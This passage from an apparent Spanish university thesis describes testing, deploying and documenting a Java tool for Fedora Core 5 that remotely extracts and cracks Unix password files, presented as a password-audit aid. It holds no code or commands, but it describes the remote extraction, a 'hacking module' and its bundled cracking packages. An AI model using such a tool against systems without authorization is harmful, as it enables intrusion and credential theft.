El módulo genera rangos de direcciones de modo automático en base
a la IP configurada en la interfaz eth0 de la maquina Linux. El sistema
se adapta a la búsqueda de redes de tipo A, B o C.
117
En uno de los módulos más importantes, el de análisis, se comprobó
que una vez decodificados los passwords de los archivos originales
que se logró extraer, se realizaba el análisis, con los parámetros que
el usuario haya definido en la ventana respectiva. El único
inconveniente es con respecto al tamaño del archivo de diccionario
usado para el análisis de las palabras y la complejidad del password,
más grandes, mas demora el sistema en terminar el análisis.
El módulo de hackeo, uno de los más importantes, se ejecuta sin
ningún inconveniente, si se dan las condiciones de operación que
requiere este. En otro caso, el acceso es muy lento y demorado, se
necesitará equipos verdaderamente potentes para poder hacer un
acceso en maquinas con una seguridad sofisticada.
Este módulo además depende del buen funcionamiento de otros, por
lo que se necesitará que todo el bloque en conjunto este operando.
Los módulos reportes, estadísticas, registro de datos y el módulo de
ayuda del sistema, funcionan de manera independiente sin ningún
problema.
118
4.4.3.- Pruebas de Integración
Estas pruebas son de dos tipos:
• Ascendente
• Descendente
En nuestro caso, el proyecto se realizó con el tipo de pruebas de
integración de forma ascendente, se fue probando la integración con
módulos de nivel superior.
Como ejemplo:
Los resultados de la extracción de los passwords de los archivos son
utilizados por el módulo de análisis para su ejecución, sin esto la clase
no podrá iniciar su proceso de ejecución.
4.4.4.- Pruebas Alfa y Beta
Las pruebas tipo alfa se desarrollan o efectúan casa adentro, es decir,
se las realiza en el entorno de desarrollo en el cual estamos
trabajando. Y este tipo de pruebas trata de encontrar todos los
posibles errores. Esto es válido pero no suficiente, por lo que se
necesitan las pruebas de tipo beta.
En nuestro sistema se realizó con especial énfasis los dos tipos de
pruebas, las internas y las externas. Las internas simulando un mini
119
laboratorio de computadores, en los cuales se uso una maquina con
Linux, y se empezó a rastrear información del entorno.
Las pruebas externas se las realizo con diversos tipos de usuarios,
con poca o mucha experiencia en el uso de herramientas java y
familiarizadas con el sistema operativo Fedora Core, realizándolas en
los laboratorios del Seminario de Graduación, pero solo usando
maquinas virtuales.
De toda esta experiencia se pudo recabar información sobre todos loe
errores encontrados, y así mejorar la calidad del software.
4.4.5.- Pruebas de Seguridad
Esta prueba fue la más importante, ya que se verificó que con suma
facilidad, modificando los scripts del sistema, y añadiendo archivos
maliciosos, se puede lograr mucho más que solo extraer los archivos
de los passwords de forma remota. Por lo que se vuelve imperativo
adiestrar a los usuarios con consejos de seguridad:
Revisar periódicamente los logs que genera el sistema operativo, para
comprobar que no se ha hecho algo aparte de extraer archivos con el
120
fin de auditarlos, ver si no se ha realizado algún tipo de ataque
adicional a lo que realiza el programa.
Controlar el acceso a los recursos y carpetas del sistema, bloquear
accesos, verificar el acceso a puertos, mantener reglas de firewall
actualizadas, es un buen comienzo para mantener un nivel de
seguridad aceptable. En el Internet se pueden encontrar variedad de
información acerca de cómo implementar medidas de seguridad.
Concienciar a los usuarios sobre el uso y manejo del programa, ya que
siendo de uso limitado a personas de nivel superior, no está demás
aplicar normas de moral y ética con respecto a los administradores del
sistema, para que ellos no incurran en algún momento en un mal uso
del mismo.
4.5.- Calidad del Sistema
La calidad puede ser medida en varios aspectos, se puede decir con certeza
que es de óptima calidad, cumple con todos los requerimientos establecidos
por los usuarios, pero nos vemos un poco limitados en poner solo lo
necesario y restringir algún código malicioso, con el fin de no dar un mal uso
de la herramienta. Como el sistema fue desarrollado bajo licencia GPL,
queda en el buen criterio de desarrolladores y usuarios interesados en
121
mejorar el programa, acerca de las modificaciones posibles que puedan
realizar, respetando siempre los principios por los cuales fue creado el
programa.
CAPÍTULO 5
IMPLEMENTACIÓN DEL
SISTEMA
5.1.- Tecnología
La tecnología usada en este proyecto es
de tipo Open Source, debido a los
beneficios que este representa, entre los
cuales citamos:
• El costo, como tecnología libre,
minimiza los gastos de licencias
123
para la empresa, volviéndolos prácticamente cero.
• El código abierto, o sea, que cualquier persona lo puede analizar,
mejorar y publicarlo, para los demás usuarios técnicos interesados,
además de crear mejoras, se puede desarrollar versiones mejoradas
del mismo en conjunto con muchas personas de la Web.
• Multiplataforma, mas que nada funciona en diversas plataformas
Linux, pero su uso óptimo se de en maquinas con Fedora Core, el
lenguaje java permite esta característica, el cual puede ser fácilmente
modificado para trabajar, incluso en plataformas Windows sin
problema. La base de datos es de tipo Open Source, este criterio no
impide igual que el programa pueda ser usado con cualquier otro tipo
de base de datos, realizando el mantenimiento necesario.
Para llevar a cabo la implementación del Cracker de Passwords Unix en
Sistemas Operativos Fedora Core 5, se necesita recursos del tipo:
• Elementos Físicos
• Elementos Lógicos
• Recurso Humano
• Infraestructura
• Capacitación a usuarios
124
Podemos entonces plantear la siguiente tabla de Costos de Implementación
del Sistema.
Cant. Tipo
Elemento Elemento
Costo Unitario
Costo
2 Físico Computadoras $ 1.200 $ 2.400
1 Lógico Linux Fedora Core 5.0 0 0
3 Humano Equipo de Desarrollo $ 1.000 $ 3.000
1 Infraestructura Equipo de Redes $ 500 $ 500
1 Capacitación Capacitación Usuario $ 150 $ 150
Total $ 6.050
Tabla -4-
Costos de Implementación
5.1.- Elementos Físicos
Entre los elementos físicos necesarios para la implantación podemos citar los
siguientes equipos de computación:
• Mínimo dos equipos, máximo los que se desee, un equipo nos va a
servir como desarrollo y para hacer de “equipo de auditoria”, el cual
debe poseer las siguientes características:
• Procesador Pentium IV 2.0 Ghz o superior.
• También se probó con una buena Perfomance en equipos con
procesador AMD NX1750.
• Memoria RAM 512 Mb, se probó en equipos con 256 Mb pero las
prestaciones bajaron significativamente.
• Disco duro con espacio de 200 MB mínimo para la instalación del
programa y los aplicativos adicionales.
125
• Disco duro con espacio particionado de 10Gb mínimo para la
instalación del sistema operativo Linux Fedora Core 5.0.
• CD-ROM 52x para la instalación de los aplicativos.
• Tarjeta de red 10 / 100 de preferencia 3-Com para mejor Perfomance,
no necesariamente, se puede usar cualquiera.
• Cable de red para la conexión con la LAN local, categoría 5e o
superior.
Se puede disponer del uso de una tarjeta de red inalámbrica, pero el
rendimiento del programa cae drásticamente. Se optará entonces por
comprar una 3-Com o D-link.
Monitor de 860 x 640 para poder visualizar la parte gráfica.
Si se desea se puede operar el proyecto con una maquina virtual, la cual se
explicará su funcionamiento en el manual técnico, la cual debe ser
configurada con las mismas características que se mencionan en esta
página.
Como se ve, debe ser un equipo con altas prestaciones, es necesario ya que
el equipo va a realizar simulaciones de ataques hacia las demás maquinas,
este tipo de operación puede consumir muchos recursos del sistema, por lo
126
cual la maquina en el momento de hacer la auditoria, solo debe dedicarse a
esta labor. Más detalles se encuentran en el manual técnico.
En este equipo entonces, servirá para esta labor y para desarrollo del
sistema.
Se puede tener un segundo equipo, el cual servirá para realizar las labores
de pruebas del sistema, se puede trabajar también con equipos de tipo
“maquinas virtuales”, los cuales pueden tener las configuraciones de
instalación por defecto cuando se levante el Fedora, o las configuraciones
por defecto que la maquina posea.
Un ambiente óptimo de trabajo sería al menos contar con tres equipos, uno
con las características de altas prestaciones mencionadas arriba, y dos
equipos con los cuales se realizarán las pruebas.
5.2.- Elementos lógicos
Se deberá implementar el computador principal, con las siguientes
herramientas:
• Tener instalado y en operación el sistema operativo Linux Fedora Core
5.0, correctamente configurado en el cual se va a desarrollar el
proyecto. Más adelante se detalla paso a paso la instalación y
configuración del mismo para poder empezar a desarrollar el proyecto.
127
• El sistema operativo, una vez listo para trabajar, deberá tener
instalados los siguientes paquetes, los cuales se proporciona en los
CD's del proyecto:
• Herramienta de desarrollo, NetBeans 5.5 con JDK 1.5_11
• Paquetes :
o netwig-5.35.0-src.tgz
o netwag-5.35.0-src.tgz
o netwox-5.35.0-src.tgz
o john-1.7.2.tar.gz
• Paquetes opcionales:
o wine-0.9.27.tar.bz2
o putty.exe (funciona previa instalación de wine)
o winscp32.exe (funciona previa instalación de wine)
Los paquetes opcionales no es necesario su instalación, solamente ayudan a
dar un mejor Perfomance al proyecto.
Se ha escogido la herramienta de desarrollo para el proyecto, llamada
NetBeans en su versión 5.5. Una de las ventajas de esta herramienta de
desarrollo es que es un IDE (Entorno Integrado de Desarrollo) de los más
completos que hay, muy intuitivo y de fácil manejo para personas que
desarrollan aplicaciones en java. Te permite levantar todo tipo de
128
aplicaciones ya sean las comunes, o aplicaciones web, con un diseño de
interfaz súper fácil y rápido.
Además tiene un compendio de librerías de desarrollo muy poderosas, y si
no tuviéramos alguna, la descargamos del Internet desde su página oficial, la
cual se la encuentra en la bienvenida del programa de desarrollo.
Otra ventaja importante es que NetBeans nos sirve como “manager” de la
Base de Datos que estemos utilizando, en nuestro caso postgre. No
proporciona con respecto a esto último un entorno tan avanzado de control
de la base, pero es útil para realizar consultas y actualizaciones a la base, sin
necesidad de hacerlo con el manager propio de postgres.
En tal caso, para una administración completa, se recomienda instalar el
paquete pgadmin proporcionado en el cd del proyecto.
5.3.- Recurso Humano
Como equipo de desarrollo tenemos a las programadoras: Alicia Aldaz,
Karina Valenzuela, y como Coordinador de proyecto tenemos a José Hidalgo.
Todo el equipo cuenta con experiencia en el manejo y desarrollo de software
con herramientas IDE, tanto para java como Visual Basic.
129
5.4.- Infraestructura
La infraestructura básica para que el proyecto se pueda desarrollar sin
ningún problema es la siguiente:
• Cableado de red usando como medio de transmisión: cable par
trenzado categoría 5e.
• Si existen mas de dos maquinas, se necesitará configurar un hub o un
switch, para conectar todas las maquinas. Si ya hay una
infraestructura de red, se la usará como medio de transmisión.
• Tarjetas de red de preferencia 3-Com por su compatibilidad con
sistemas Linux, tipo 10/100.
• Conexión a Internet, como apoyo para consultas del sistema.
5.5.- Capacitación a los usuarios.
La aplicación es muy intuitiva y fácil de entender por los usuarios finales,
además estos cuentan con un conocimiento elevado sobre redes y sistemas
operativos.
Se ha implementado en el proyecto, páginas de ayuda, las cuales pueden ser
llamadas en cualquier momento, para dar ayuda en línea, mientras se esté
ejecutando el programa.
En caso de necesitar configuraciones adicionales o capacitación a usuarios
finales, se la podrá realizar sin ningún problema. Se hará especial énfasis en
adiestrar en su funcionamiento y las consecuencias de un mal uso a los
administradores del sistema.
CAPÍTULO 6
RECOMENDACIONES Y
CONCLUSIONES DEL
PROYECTO.
6.1.- Recomendaciones
El software Auditoria de contraseñas de
maquinas Fedora Core 5 para que pueda
operar de un modo correcto y de manera
óptima, deberá tener en cuenta las
configuraciones de hardware, software.
131
Lo que se recomienda hacer en principio es leer detenidamente los manuales
de usuario, y para conocimientos avanzados, el manual técnico suministrado
en este proyecto. Haremos entonces una revisión rápida de lo mínimo que
necesitamos para que nuestro software funcione de manera óptima.
6.1.1.- Hardware
Los datos suministrados aquí son los requerimientos de hardware mínimos
que necesita el sistema para su funcionamiento. Se detallan a continuación:
• Procesador Pentium IV 2.0 Ghz o superior.
• También se probó con una buena Perfomance en equipos con
procesador AMD NX1750, pero se recomienda equipo con procesador
Intel.
• Memoria RAM 512 Mb, se probó en equipos con 256 Mb pero las
prestaciones bajaron significativamente.
• Disco duro con espacio de 200 MB mínimo para la instalación del
programa y los aplicativos adicionales.
• Disco duro con espacio particionado de 10Gb mínimo para la
instalación del sistema operativo Linux Fedora Core 5.0.
• CD-ROM 52x para la instalación de los aplicativos.
• Tarjeta de red 10 / 100 de preferencia 3-Com para mejor Perfomance,
no necesariamente, se puede usar cualquiera, pero debe comprobarse
la compatibilidad con el sistema operativo instalado.
132
• Cable de red para la conexión con la LAN local, categoría 5e o
superior.
• Se puede disponer del uso de una tarjeta de red inalámbrica, pero el
rendimiento del programa cae drásticamente. Se optará entonces por
comprar una 3-Com o D-link.
• Monitor de 860 x 640 para poder visualizar la parte gráfica.
El programa podría trabajar en maquinas virtuales, configuradas
adecuadamente, pero el equipo tendría que ser de muy alto rendimiento, ya
que las maquinas virtuales ocupan mucha memoria, esto puede perjudicar
enormemente el rendimiento del programa, por lo cual se recomienda su uso
de preferencia en maquinas que sobrepasen los requerimientos mínimos de
operación.
Las maquinas virtuales deberán tener configuraciones de red óptimas y
funcionando, para mas detalles consultar con un manual de configuración de
maquinas virtuales.
6.1.2.- Software
Se usará el siguiente software para el desarrollo y operación del proyecto:
• Fedora Core 5.0
133
• El sistema operativo, una vez listo para trabajar, deberá tener
instalados los siguientes paquetes, los cuales se proporciona en los
CD's del proyecto:
• Herramienta de desarrollo, NetBeans 5.5 con JDK 1.5_11
• Paquetes :
o netwig-5.35.0-src.tgz
o netwag-5.35.0-src.tgz
o netwox-5.35.0-src.tgz
o john-1.7.2.tar.gz
• Paquetes opcionales:
o wine-0.9.27.tar.bz2
o putty.exe (funciona previa instalación de wine)
o winscp32.exe (funciona previa instalación de wine)
Más adelante se detallará la instalación y el uso de los mismos.
Paquetes adicionales que su instalación puede ser opcional, y ayudarán a
dar mejor rendimiento al programa.
Algunos paquetes, pueden necesitar dependencias, las cuales si no están los
paquetes instalados, no permitirán seguir con la instalación. En el caso de
ocurrir, se deberá buscar en paquete correspondiente que haga falta en los
cd's de la distribución de Fedora que este usando, para nuestro caso, Fedora
134
Core 5.0. Esto ocurre cuando el Fedora no está instalado con todas las
herramientas de desarrollo.
El programa, siendo desarrollado en java, es multiplataforma, podría trabajar
en maquinas Windows, con algunas variantes. Pero su uso esta determinado
exclusivamente en maquinas con Fedora Core en su versión 5.0.
En un futuro cercano se lanzará la versión para Windows Open Source del
proyecto.
6.1.3.- Red
Se hace hincapié en que la maquina Linux Fedora Core debe tener
correctamente configurada y activa la interfaz eth0, que es la que usa el
programa para comunicarse con su entorno. De ser así es necesario
modificar el código fuente para poder tener salida por otra interfaz.
Se deberá contar con equipo de red mínimo, se puede aprovechar el ya
existente en el lugar donde vaya a trabajar la aplicación. Para hacer las
pruebas del sistema se necesitará cable par trenzado categoría 5e, y un hub
o switch dependiendo de cuantas maquinas se tenga.
Las tarjetas deben ser compatibles con el Fedora Core, se recomienda 3-
Com 10/100.
135
Se recomienda además, aunque no necesario, tener conexión a Internet.
6.1.4.- Puesta en marcha
Se necesita instalar todos los paquetes necesarios indicados en el manual
técnico, de allí el proyecto esta listo para operar.
Si por alguna razón no arranca, se deberá revisar las configuraciones de red
de nuevo de ser necesario, tomando en consideración lo que se menciona en
el manual de usuario, además de reinstalar algún paquete, en caso de ser
necesario.
6.1.5.- Seguridades
Se hace recordatorio que el proyecto solo debe ser usado en un entorno de
red bajo la supervisión del administrador del sistema, el cual será el único
que poseerá la clave de acceso al programa. No se deberá operar con los
scripts del proyecto de manera individual. Tomando en cuenta esto, se ha
hecho que el proyecto y todas sus clases sean mutuamente dependientes,
esto con el fin de que no se pueda operar algún módulo por separado. El
proyecto necesita trabajar con todas sus clases, en conjunto, sin la clave de
acceso, no se podrá.
136
Además, solo el administrador o persona autorizada tendrá la clave de
acceso a los datos de la base de datos. Para poder hacer alguna consulta o
actualización de datos.
6.1.6.- Conclusiones
En un mundo como el actual tan globalizado y competitivo, exige que
nosotros estemos enteramente comunicados con nuestro entorno, con el
medio que nos rodea.
Esto implica el desarrollo de grandes redes de comunicación, tanto con
medios internos como externos.
A su vez, este modo de comunicarnos conlleva a que estemos expuestos a
ataques ya sean desde adentro de mi organización como desde el exterior,
sean las que fueren y de todo tipo.
Es imperativo comprobar, evaluar que los sistemas de seguridad
implementados respondan a un ataque de la manera más apropiada.
Por medio de la obtención de un password para acceder al sistema, se
pueden causar desde daño menores hasta mayores catástrofes, como la
des-configuración total de un servidor, en este caso Linux Fedora Core
137
El proyecto además de funcionar como un cracker de password, evaluará
que tan seguros son nuestros password a sufrir diferentes ataques, haciendo
conciencia en los usuarios sobre la importancia de contar con password
robustos y con políticas de tratamiento adecuados de los mismos., como por
ejemplo cambiarlo cada 3 meses.
Se implementará políticas de seguridad de la red robusta, para poder
bloquear el acceso no autorizado de personas ajenas al sistema.
Los usuarios deben hacer conciencia sobre lo delicado que se vuelve, como
ejemplo, facilitar un password a una persona ajena a su departamento, esto
puede acarrear graves problemas de seguridad.
138
GLOSARIO DE TÉRMINOS
Esta sección del documento ofrece un breve resumen de los significados de
ciertos términos técnicos en orden alfabético.
A
Ataque.- Agresión al sistema por parte de un pirata informático con algún
propósito específico.
Auditoria.- Proceso de revisión del sistema para comprobar la seguridad de
las claves.
Abuso de privilegio.- Persona que tiene privilegios de acceso hace mal uso
de los mismos generando un ataque al sistema.
Ataque de backdoor.- Consiste en que el atacante va a dejar una semilla
del mal ejemplo un robot y este le envía un software que me abre un puerto o
un servicio.
Autenticación.- Verificación de que el cliente sea quien dice ser para lograr
acceso al sistema.
B
Base de Datos.- Guarda los datos del sistema.
Backup.- Respaldo de información del sistema.
139
C
Cracker.- Pirata informático que busca acceder al sistema para causar daño.
Código Fuente.- Lenguaje mediante el cual fue programado el sistema.
Conexión.- Comunicación entre varias maquinas.
E
Exploits.- Código malicioso que busca explotar algún recurso.
Eth0.- Interfaz de red en Linux
F
Firewall.- Conjunto de políticas de seguridad de acceso a computadoras.
Freeware.- Software gratuito.
G
GPL.- Licencia pública general aplicada al software gratuito.
GUI.- Interfaces gráficas de usuario.
H
Hackers.- Pirata informático que busca acceder a sistemas por diversión sin
causar perjuicio.
Hardware.- Parte física de una PC.
140
Hijacking.- Ataque de sesión, cuando se quiere comunicar con otra
computadora ella constata y manda un brodcast, en el momento cuando abre
la sesión ve que ese esta conectando, lo desconecta agarra la sesión y
desvía la sesión a otra PC.
Hub.- Elemento físico de conexión en red.
I
ICMP.- Protocolo de control de mensajes de Internet
IP.- Identificador único que distingue una computadora de otra.
Interfaz.- Medio grafico de comunicación entre la PC y el usuario.
L
LAN.- Red de área local.
Logs.- Archivos temporales, respaldo.
M
Maquina Virtual.- Software que permite la simulación de un computador.
MYSQL.- Software para crear una base de datos.
Multiplataforma.- Se puede trabajar sobre diferentes sistemas operativos sin
que afecte su desempeño.
141
N
Net Beans.- Programa de desarrollo de interfaces java.
O
Open Source. - Tecnología libre de distribución por la cual no se necesita
licencia.
P
Passwords.- Contraseña de acceso al sistema.
Paquetes.- Segmento de datos que se transmite de un lugar a otro.
Parámetros.- Datos que se envía a una función para que cumpla con su
propósito.
Perfomance.- Capacidad de desempeño de un equipo.
Periféricos.- Medios físicos del computador.
Políticas de Seguridad.- Conjunto de normas y reglas para mantener
seguro un sistema.
Protocolos. – Implementación de la lógica de una capa del modelo OSI.
R
Red.- Conjunto de maquinas que se comunican entre si.
Root.- Directorio raíz.
142
S
Servidor.- Equipo de computo, el cual esta recibiendo constante peticiones
de clientes para proveerle de algún servicio.
Software.- Programas en ejecución.
Sniffers.- Programa espía que lee todos los paquetes que viajan por la red.
Spoofing de IP.- Permite que la PC se autentifique y no es miembro de la red
Scripts. - Conjunto de líneas de códigos que permiten la ejecución de una
tarea en particular.
Switch.- Dispositivo de interconexión de redes de computadoras que opera
en la capa 2 del modelo OSI, este interconecta dos o más segmentos de
red.
T
Telnet.- Servicio que permite abrir una interfaz de comunicación.
V
Vulnerable.- Sensibilidad para sufrir un ataque.
143
ANEXOS
Entrevista
1. Para la realización de la entrevista se contacto al Msc. Luís Hidalgo al
cual se le formularon las siguientes preguntas con el fin de tener,
información y opiniones sobre el sistema que se va a implementar. A
continuación presentamos la entrevista.
La seguridad de su Institución es
Alta Media Baja
2. Que medidas de seguridad para el sistema utiliza la empresa
___________________________________________________________
___________________________________________________________
__________________________________________
3. Que piensa usted sobre las políticas y seguridades de la empresa
___________________________________________________________
___________________________________________________________
__________________________________________
4. Se cuenta con políticas para establecer si las claves son seguras
SI NO
144
5. Cuenta con un sistema que le permite hacer una Auditoria de la
seguridad que tiene su servidor
SI NO
6. Se lleva una Auditoria de las infiltraciones que haya sufrido el servidor
SI NO
7. Cada que tiempo se cambian las claves de su empresa
Menos de 1 mes Cada mes Nunca
8. Han detectado casos de robo de clave o información por medio de
acceso no autorizado
SI NO
145
Análisis de la Entrevista
Con los datos obtenidos de la entrevista realizada a un usuario de
computadoras, se pueden sacar las siguientes conclusiones:
• Es notoria la preocupación del usuario con respecto al uso y manejo
de los passwords, ya que observa que en su lugar de trabajo casi no
se toman en cuenta las políticas mínimas de seguridad de
contraseñas.
• Que por lo general, los passwords son palabras fácilmente
recordables, de las que se encuentran en un diccionario, por lo cual el
riesgo de acceso no autorizado al sistema es altísimo.
• El usuario no conoce con exactitud todas las políticas de seguridad de
la empresa, menos con respecto al control y manejo de passwords,
pero que existen.
• De que si se han registrado intentos de acceso no autorizad al
sistema, pero que no se realiza un control de las auditorias adecuado,
tal ves porque no hay alguien designado para hacer esta tarea.
• Que no poseen una herramienta de auditoria que les permita evaluar
políticas de seguridades de claves de usuario.
146
Cronograma de Actividades
147
Gráficos Estadísticos en Pastel
148
Gráficos Estadísticos en Barra
149
BIBLIOGRAFÍA
Libros consultados:
1.- Ingeniería de Software por Pressman
2.- Manual Postgre por John Worsley, Joshua Drake
3.- Manual de NetBeans por Manuel Domitsu Kono
Paginas web consultadas:
1.- www.google.com
2.- www.laneros.com
3.- www.lawebdelprogramador.com
4.- www.snort.org
5.- www.sourceforge.net
6.- www.netbeans.org
7.- www.postgres.org
8.- www.rpmfind.net
9.- www.elhacker.net
10.- www.warez.com
11.- www.crackpirata.net